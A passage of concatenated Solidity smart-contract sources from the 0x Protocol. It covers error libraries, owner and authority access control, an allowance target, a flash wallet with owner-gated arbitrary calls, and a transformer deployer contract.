Ownable,
TokenSpender,
TransformERC20
}
/// @dev Get the storage slot given a storage ID. We assign unique, well-spaced
/// slots to storage bucket variables to ensure they do not overlap.
/// See: https://solidity.readthedocs.io/en/v0.6.6/assembly.html#access-to-external-variables-functions-and-libraries
/// @param storageId An entry in `StorageId`
/// @return slot The storage slot.
function getStorageSlot(StorageId storageId)
internal
pure
returns (uint256 slot)
{
// This should never overflow with a reasonable `STORAGE_SLOT_EXP`
// because Solidity will do a range check on `storageId` during the cast.
return (uint256(storageId) + 1) << STORAGE_SLOT_EXP;
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
/// @dev Detachable `bootstrap()` feature.
interface IBootstrap {
/// @dev Bootstrap the initial feature set of this contract by delegatecalling
/// into `target`. Before exiting the `bootstrap()` function will
/// deregister itself from the proxy to prevent being called again.
/// @param target The bootstrapper contract address.
/// @param callData The call data to execute on `target`.
function bootstrap(address target, bytes calldata callData) external;
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
library LibCommonRichErrors {
// solhint-disable func-name-mixedcase
function OnlyCallableBySelfError(address sender)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
bytes4(keccak256("OnlyCallableBySelfError(address)")),
sender
);
}
function IllegalReentrancyError()
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
bytes4(keccak256("IllegalReentrancyError()"))
);
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
library LibOwnableRichErrors {
// solhint-disable func-name-mixedcase
function OnlyOwnerError(
address sender,
address owner
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
bytes4(keccak256("OnlyOwnerError(address,address)")),
sender,
owner
);
}
function TransferOwnerToZeroError()
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
bytes4(keccak256("TransferOwnerToZeroError()"))
);
}
function MigrateCallFailedError(address target, bytes memory resultData)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
bytes4(keccak256("MigrateCallFailedError(address,bytes)")),
target,
resultData
);
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
library LibSimpleFunctionRegistryRichErrors {
// solhint-disable func-name-mixedcase
function NotInRollbackHistoryError(bytes4 selector, address targetImpl)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
bytes4(keccak256("NotInRollbackHistoryError(bytes4,address)")),
selector,
targetImpl
);
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
library LibSpenderRichErrors {
// solhint-disable func-name-mixedcase
function SpenderERC20TransferFromFailedError(
address token,
address owner,
address to,
uint256 amount,
bytes memory errorData
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
bytes4(keccak256("SpenderERC20TransferFromFailedError(address,address,address,uint256,bytes)")),
token,
owner,
to,
amount,
errorData
);
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
library LibTransformERC20RichErrors {
// solhint-disable func-name-mixedcase,separate-by-one-line-in-contract
function InsufficientEthAttachedError(
uint256 ethAttached,
uint256 ethNeeded
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
bytes4(keccak256("InsufficientEthAttachedError(uint256,uint256)")),
ethAttached,
ethNeeded
);
}
function IncompleteTransformERC20Error(
address outputToken,
uint256 outputTokenAmount,
uint256 minOutputTokenAmount
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
bytes4(keccak256("IncompleteTransformERC20Error(address,uint256,uint256)")),
outputToken,
outputTokenAmount,
minOutputTokenAmount
);
}
function NegativeTransformERC20OutputError(
address outputToken,
uint256 outputTokenLostAmount
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
bytes4(keccak256("NegativeTransformERC20OutputError(address,uint256)")),
outputToken,
outputTokenLostAmount
);
}
function TransformerFailedError(
address transformer,
bytes memory transformerData,
bytes memory resultData
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
bytes4(keccak256("TransformerFailedError(address,bytes,bytes)")),
transformer,
transformerData,
resultData
);
}
// Common Transformer errors ///////////////////////////////////////////////
function OnlyCallableByDeployerError(
address caller,
address deployer
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
bytes4(keccak256("OnlyCallableByDeployerError(address,address)")),
caller,
deployer
);
}
function InvalidExecutionContextError(
address actualContext,
address expectedContext
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
bytes4(keccak256("InvalidExecutionContextError(address,address)")),
actualContext,
expectedContext
);
}
enum InvalidTransformDataErrorCode {
INVALID_TOKENS,
INVALID_ARRAY_LENGTH
}
function InvalidTransformDataError(
InvalidTransformDataErrorCode errorCode,
bytes memory transformData
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
bytes4(keccak256("InvalidTransformDataError(uint8,bytes)")),
errorCode,
transformData
);
}
// FillQuoteTransformer errors /////////////////////////////////////////////
function IncompleteFillSellQuoteError(
address sellToken,
uint256 soldAmount,
uint256 sellAmount
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
bytes4(keccak256("IncompleteFillSellQuoteError(address,uint256,uint256)")),
sellToken,
soldAmount,
sellAmount
);
}
function IncompleteFillBuyQuoteError(
address buyToken,
uint256 boughtAmount,
uint256 buyAmount
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
bytes4(keccak256("IncompleteFillBuyQuoteError(address,uint256,uint256)")),
buyToken,
boughtAmount,
buyAmount
);
}
function InsufficientTakerTokenError(
uint256 tokenBalance,
uint256 tokensNeeded
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
bytes4(keccak256("InsufficientTakerTokenError(uint256,uint256)")),
tokenBalance,
tokensNeeded
);
}
function InsufficientProtocolFeeError(
uint256 ethBalance,
uint256 ethNeeded
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
bytes4(keccak256("InsufficientProtocolFeeError(uint256,uint256)")),
ethBalance,
ethNeeded
);
}
function InvalidERC20AssetDataError(
bytes memory assetData
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
bytes4(keccak256("InvalidERC20AssetDataError(bytes)")),
assetData
);
}
function InvalidTakerFeeTokenError(
address token
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
bytes4(keccak256("InvalidTakerFeeTokenError(address)")),
token
);
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
library LibWalletRichErrors {
// solhint-disable func-name-mixedcase
function WalletExecuteCallFailedError(
address wallet,
address callTarget,
bytes memory callData,
uint256 callValue,
bytes memory errorData
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
bytes4(keccak256("WalletExecuteCallFailedError(address,address,bytes,uint256,bytes)")),
wallet,
callTarget,
callData,
callValue,
errorData
);
}
function WalletExecuteDelegateCallFailedError(
address wallet,
address callTarget,
bytes memory callData,
bytes memory errorData
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
bytes4(keccak256("WalletExecuteDelegateCallFailedError(address,address,bytes,bytes)")),
wallet,
callTarget,
callData,
errorData
);
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "@0x/contracts-utils/contracts/src/v06/errors/LibRichErrorsV06.sol";
import "@0x/contracts-utils/contracts/src/v06/AuthorizableV06.sol";
import "../errors/LibSpenderRichErrors.sol";
import "./IAllowanceTarget.sol";
/// @dev The allowance target for the TokenSpender feature.
contract AllowanceTarget is
IAllowanceTarget,
AuthorizableV06
{
// solhint-disable no-unused-vars,indent,no-empty-blocks
using LibRichErrorsV06 for bytes;
/// @dev Execute an arbitrary call. Only an authority can call this.
/// @param target The call target.
/// @param callData The call data.
/// @return resultData The data returned by the call.
function executeCall(
address payable target,
bytes calldata callData
)
external
override
onlyAuthorized
returns (bytes memory resultData)
{
bool success;
(success, resultData) = target.call(callData);
if (!success) {
resultData.rrevert();
}
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
import "./interfaces/IAuthorizableV06.sol";
import "./errors/LibRichErrorsV06.sol";
import "./errors/LibAuthorizableRichErrorsV06.sol";
import "./OwnableV06.sol";
// solhint-disable no-empty-blocks
contract AuthorizableV06 is
OwnableV06,
IAuthorizableV06
{
/// @dev Only authorized addresses can invoke functions with this modifier.
modifier onlyAuthorized {
_assertSenderIsAuthorized();
_;
}
// @dev Whether an address is authorized to call privileged functions.
// @param 0 Address to query.
// @return 0 Whether the address is authorized.
mapping (address => bool) public override authorized;
// @dev Whether an address is authorized to call privileged functions.
// @param 0 Index of authorized address.
// @return 0 Authorized address.
address[] public override authorities;
/// @dev Initializes the `owner` address.
constructor()
public
OwnableV06()
{}
/// @dev Authorizes an address.
/// @param target Address to authorize.
function addAuthorizedAddress(address target)
external
override
onlyOwner
{
_addAuthorizedAddress(target);
}
/// @dev Removes authorizion of an address.
/// @param target Address to remove authorization from.
function removeAuthorizedAddress(address target)
external
override
onlyOwner
{
if (!authorized[target]) {
LibRichErrorsV06.rrevert(LibAuthorizableRichErrorsV06.TargetNotAuthorizedError(target));
}
for (uint256 i = 0; i < authorities.length; i++) {
if (authorities[i] == target) {
_removeAuthorizedAddressAtIndex(target, i);
break;
}
}
}
/// @dev Removes authorizion of an address.
/// @param target Address to remove authorization from.
/// @param index Index of target in authorities array.
function removeAuthorizedAddressAtIndex(
address target,
uint256 index
)
external
override
onlyOwner
{
_removeAuthorizedAddressAtIndex(target, index);
}
/// @dev Gets all authorized addresses.
/// @return Array of authorized addresses.
function getAuthorizedAddresses()
external
override
view
returns (address[] memory)
{
return authorities;
}
/// @dev Reverts if msg.sender is not authorized.
function _assertSenderIsAuthorized()
internal
view
{
if (!authorized[msg.sender]) {
LibRichErrorsV06.rrevert(LibAuthorizableRichErrorsV06.SenderNotAuthorizedError(msg.sender));
}
}
/// @dev Authorizes an address.
/// @param target Address to authorize.
function _addAuthorizedAddress(address target)
internal
{
// Ensure that the target is not the zero address.
if (target == address(0)) {
LibRichErrorsV06.rrevert(LibAuthorizableRichErrorsV06.ZeroCantBeAuthorizedError());
}
// Ensure that the target is not already authorized.
if (authorized[target]) {
LibRichErrorsV06.rrevert(LibAuthorizableRichErrorsV06.TargetAlreadyAuthorizedError(target));
}
authorized[target] = true;
authorities.push(target);
emit AuthorizedAddressAdded(target, msg.sender);
}
/// @dev Removes authorizion of an address.
/// @param target Address to remove authorization from.
/// @param index Index of target in authorities array.
function _removeAuthorizedAddressAtIndex(
address target,
uint256 index
)
internal
{
if (!authorized[target]) {
LibRichErrorsV06.rrevert(LibAuthorizableRichErrorsV06.TargetNotAuthorizedError(target));
}
if (index >= authorities.length) {
LibRichErrorsV06.rrevert(LibAuthorizableRichErrorsV06.IndexOutOfBoundsError(
index,
authorities.length
));
}
if (authorities[index] != target) {
LibRichErrorsV06.rrevert(LibAuthorizableRichErrorsV06.AuthorizedAddressMismatchError(
authorities[index],
target
));
}
delete authorized[target];
authorities[index] = authorities[authorities.length - 1];
authorities.pop();
emit AuthorizedAddressRemoved(target, msg.sender);
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
import "./IOwnableV06.sol";
interface IAuthorizableV06 is
IOwnableV06
{
// Event logged when a new address is authorized.
event AuthorizedAddressAdded(
address indexed target,
address indexed caller
);
// Event logged when a currently authorized address is unauthorized.
event AuthorizedAddressRemoved(
address indexed target,
address indexed caller
);
/// @dev Authorizes an address.
/// @param target Address to authorize.
function addAuthorizedAddress(address target)
external;
/// @dev Removes authorizion of an address.
/// @param target Address to remove authorization from.
function removeAuthorizedAddress(address target)
external;
/// @dev Removes authorizion of an address.
/// @param target Address to remove authorization from.
/// @param index Index of target in authorities array.
function removeAuthorizedAddressAtIndex(
address target,
uint256 index
)
external;
/// @dev Gets all authorized addresses.
/// @return authorizedAddresses Array of authorized addresses.
function getAuthorizedAddresses()
external
view
returns (address[] memory authorizedAddresses);
/// @dev Whether an adderss is authorized to call privileged functions.
/// @param addr Address to query.
/// @return isAuthorized Whether the address is authorized.
function authorized(address addr) external view returns (bool isAuthorized);
/// @dev All addresseses authorized to call privileged functions.
/// @param idx Index of authorized address.
/// @return addr Authorized address.
function authorities(uint256 idx) external view returns (address addr);
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
interface IOwnableV06 {
/// @dev Emitted by Ownable when ownership is transferred.
/// @param previousOwner The previous owner of the contract.
/// @param newOwner The new owner of the contract.
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @dev Transfers ownership of the contract to a new address.
/// @param newOwner The address that will become the owner.
function transferOwnership(address newOwner) external;
/// @dev The owner of this contract.
/// @return ownerAddress The owner address.
function owner() external view returns (address ownerAddress);
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
library LibAuthorizableRichErrorsV06 {
// bytes4(keccak256("AuthorizedAddressMismatchError(address,address)"))
bytes4 internal constant AUTHORIZED_ADDRESS_MISMATCH_ERROR_SELECTOR =
0x140a84db;
// bytes4(keccak256("IndexOutOfBoundsError(uint256,uint256)"))
bytes4 internal constant INDEX_OUT_OF_BOUNDS_ERROR_SELECTOR =
0xe9f83771;
// bytes4(keccak256("SenderNotAuthorizedError(address)"))
bytes4 internal constant SENDER_NOT_AUTHORIZED_ERROR_SELECTOR =
0xb65a25b9;
// bytes4(keccak256("TargetAlreadyAuthorizedError(address)"))
bytes4 internal constant TARGET_ALREADY_AUTHORIZED_ERROR_SELECTOR =
0xde16f1a0;
// bytes4(keccak256("TargetNotAuthorizedError(address)"))
bytes4 internal constant TARGET_NOT_AUTHORIZED_ERROR_SELECTOR =
0xeb5108a2;
// bytes4(keccak256("ZeroCantBeAuthorizedError()"))
bytes internal constant ZERO_CANT_BE_AUTHORIZED_ERROR_BYTES =
hex"57654fe4";
// solhint-disable func-name-mixedcase
function AuthorizedAddressMismatchError(
address authorized,
address target
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
AUTHORIZED_ADDRESS_MISMATCH_ERROR_SELECTOR,
authorized,
target
);
}
function IndexOutOfBoundsError(
uint256 index,
uint256 length
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
INDEX_OUT_OF_BOUNDS_ERROR_SELECTOR,
index,
length
);
}
function SenderNotAuthorizedError(address sender)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
SENDER_NOT_AUTHORIZED_ERROR_SELECTOR,
sender
);
}
function TargetAlreadyAuthorizedError(address target)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
TARGET_ALREADY_AUTHORIZED_ERROR_SELECTOR,
target
);
}
function TargetNotAuthorizedError(address target)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
TARGET_NOT_AUTHORIZED_ERROR_SELECTOR,
target
);
}
function ZeroCantBeAuthorizedError()
internal
pure
returns (bytes memory)
{
return ZERO_CANT_BE_AUTHORIZED_ERROR_BYTES;
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
import "./interfaces/IOwnableV06.sol";
import "./errors/LibRichErrorsV06.sol";
import "./errors/LibOwnableRichErrorsV06.sol";
contract OwnableV06 is
IOwnableV06
{
/// @dev The owner of this contract.
/// @return 0 The owner address.
address public override owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
_assertSenderIsOwner();
_;
}
/// @dev Change the owner of this contract.
/// @param newOwner New owner address.
function transferOwnership(address newOwner)
public
override
onlyOwner
{
if (newOwner == address(0)) {
LibRichErrorsV06.rrevert(LibOwnableRichErrorsV06.TransferOwnerToZeroError());
} else {
owner = newOwner;
emit OwnershipTransferred(msg.sender, newOwner);
}
}
function _assertSenderIsOwner()
internal
view
{
if (msg.sender != owner) {
LibRichErrorsV06.rrevert(LibOwnableRichErrorsV06.OnlyOwnerError(
msg.sender,
owner
));
}
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
library LibOwnableRichErrorsV06 {
// bytes4(keccak256("OnlyOwnerError(address,address)"))
bytes4 internal constant ONLY_OWNER_ERROR_SELECTOR =
0x1de45ad1;
// bytes4(keccak256("TransferOwnerToZeroError()"))
bytes internal constant TRANSFER_OWNER_TO_ZERO_ERROR_BYTES =
hex"e69edc3e";
// solhint-disable func-name-mixedcase
function OnlyOwnerError(
address sender,
address owner
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
ONLY_OWNER_ERROR_SELECTOR,
sender,
owner
);
}
function TransferOwnerToZeroError()
internal
pure
returns (bytes memory)
{
return TRANSFER_OWNER_TO_ZERO_ERROR_BYTES;
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "@0x/contracts-utils/contracts/src/v06/interfaces/IAuthorizableV06.sol";
/// @dev The allowance target for the TokenSpender feature.
interface IAllowanceTarget is
IAuthorizableV06
{
/// @dev Execute an arbitrary call. Only an authority can call this.
/// @param target The call target.
/// @param callData The call data.
/// @return resultData The data returned by the call.
function executeCall(
address payable target,
bytes calldata callData
)
external
returns (bytes memory resultData);
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "@0x/contracts-utils/contracts/src/v06/errors/LibRichErrorsV06.sol";
import "@0x/contracts-utils/contracts/src/v06/errors/LibOwnableRichErrorsV06.sol";
import "../errors/LibWalletRichErrors.sol";
import "./IFlashWallet.sol";
/// @dev A contract that can execute arbitrary calls from its owner.
contract FlashWallet is
IFlashWallet
{
// solhint-disable no-unused-vars,indent,no-empty-blocks
using LibRichErrorsV06 for bytes;
// solhint-disable
/// @dev Store the owner/deployer as an immutable to make this contract stateless.
address public override immutable owner;
// solhint-enable
constructor() public {
// The deployer is the owner.
owner = msg.sender;
}
/// @dev Allows only the (immutable) owner to call a function.
modifier onlyOwner() virtual {
if (msg.sender != owner) {
LibOwnableRichErrorsV06.OnlyOwnerError(
msg.sender,
owner
).rrevert();
}
_;
}
/// @dev Execute an arbitrary call. Only an authority can call this.
/// @param target The call target.
/// @param callData The call data.
/// @param value Ether to attach to the call.
/// @return resultData The data returned by the call.
function executeCall(
address payable target,
bytes calldata callData,
uint256 value
)
external
payable
override
onlyOwner
returns (bytes memory resultData)
{
bool success;
(success, resultData) = target.call{value: value}(callData);
if (!success) {
LibWalletRichErrors
.WalletExecuteCallFailedError(
address(this),
target,
callData,
value,
resultData
)
.rrevert();
}
}
/// @dev Execute an arbitrary delegatecall, in the context of this puppet.
/// Only an authority can call this.
/// @param target The call target.
/// @param callData The call data.
/// @return resultData The data returned by the call.
function executeDelegateCall(
address payable target,
bytes calldata callData
)
external
payable
override
onlyOwner
returns (bytes memory resultData)
{
bool success;
(success, resultData) = target.delegatecall(callData);
if (!success) {
LibWalletRichErrors
.WalletExecuteDelegateCallFailedError(
address(this),
target,
callData,
resultData
)
.rrevert();
}
}
// solhint-disable
/// @dev Allows this contract to receive ether.
receive() external override payable {}
// solhint-enable
/// @dev Signal support for receiving ERC1155 tokens.
/// @param interfaceID The interface ID, as per ERC-165 rules.
/// @return hasSupport `true` if this contract supports an ERC-165 interface.
function supportsInterface(bytes4 interfaceID)
external
pure
returns (bool hasSupport)
{
return interfaceID == this.supportsInterface.selector ||
interfaceID == this.onERC1155Received.selector ^ this.onERC1155BatchReceived.selector ||
interfaceID == this.tokenFallback.selector;
}
/// @dev Allow this contract to receive ERC1155 tokens.
/// @return success `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
function onERC1155Received(
address, // operator,
address, // from,
uint256, // id,
uint256, // value,
bytes calldata //data
)
external
pure
returns (bytes4 success)
{
return this.onERC1155Received.selector;
}
/// @dev Allow this contract to receive ERC1155 tokens.
/// @return success `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
function onERC1155BatchReceived(
address, // operator,
address, // from,
uint256[] calldata, // ids,
uint256[] calldata, // values,
bytes calldata // data
)
external
pure
returns (bytes4 success)
{
return this.onERC1155BatchReceived.selector;
}
/// @dev Allows this contract to receive ERC223 tokens.
function tokenFallback(
address, // from,
uint256, // value,
bytes calldata // value
)
external
pure
{}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "@0x/contracts-utils/contracts/src/v06/interfaces/IOwnableV06.sol";
/// @dev A contract that can execute arbitrary calls from its owner.
interface IFlashWallet {
/// @dev Execute an arbitrary call. Only an authority can call this.
/// @param target The call target.
/// @param callData The call data.
/// @param value Ether to attach to the call.
/// @return resultData The data returned by the call.
function executeCall(
address payable target,
bytes calldata callData,
uint256 value
)
external
payable
returns (bytes memory resultData);
/// @dev Execute an arbitrary delegatecall, in the context of this puppet.
/// Only an authority can call this.
/// @param target The call target.
/// @param callData The call data.
/// @return resultData The data returned by the call.
function executeDelegateCall(
address payable target,
bytes calldata callData
)
external
payable
returns (bytes memory resultData);
/// @dev Allows the puppet to receive ETH.
receive() external payable;
/// @dev Fetch the immutable owner/deployer of this contract.
/// @return owner_ The immutable owner/deployer/
function owner() external view returns (address owner_);
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "@0x/contracts-utils/contracts/src/v06/AuthorizableV06.sol";
/// @dev A contract with a `die()` function.
interface IKillable {
function die() external;
}
/// @dev Deployer contract for ERC20 transformers.
/// Only authorities may call `deploy()` and `kill()`.
contract TransformerDeployer is
AuthorizableV06
{
/// @dev Emitted when a contract is deployed via `deploy()`.
/// @param deployedAddress The address of the deployed contract.
/// @param nonce The deployment nonce.
/// @param sender The caller of `deploy()`.
event Deployed(address deployedAddress, uint256 nonce, address sender);
/// @dev Emitted when a contract is killed via `kill()`.
/// @param target The address of the contract being killed..
/// @param sender The caller of `kill()`.
event Killed(address target, address sender);
// @dev The current nonce of this contract.
uint256 public nonce = 1;
// @dev Mapping of deployed contract address to deployment nonce.
mapping (address => uint256) public toDeploymentNonce;
/// @dev Create this contract and register authorities.
constructor(address[] memory authorities) public {
for (uint256 i = 0; i < authorities.length; ++i) {
_addAuthorizedAddress(authorities[i]);
}
}
/// @dev Deploy a new contract. Only callable by an authority.
/// Any attached ETH will also be forwarded.
function deploy(bytes memory bytecode)
public
payable
onlyAuthorized
returns (address deployedAddress)
{
uint256 deploymentNonce = nonce;
nonce += 1;
assembly {
deployedAddress := create(callvalue(), add(bytecode, 32), mload(bytecode))
}
toDeploymentNonce[deployedAddress] = deploymentNonce;
emit Deployed(deployedAddress, deploymentNonce, msg.sender);
}
/// @dev Call `die()` on a contract. Only callable by an authority.
function kill(IKillable target)
public
onlyAuthorized
{
target.die();
emit Killed(address(target), msg.sender);
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
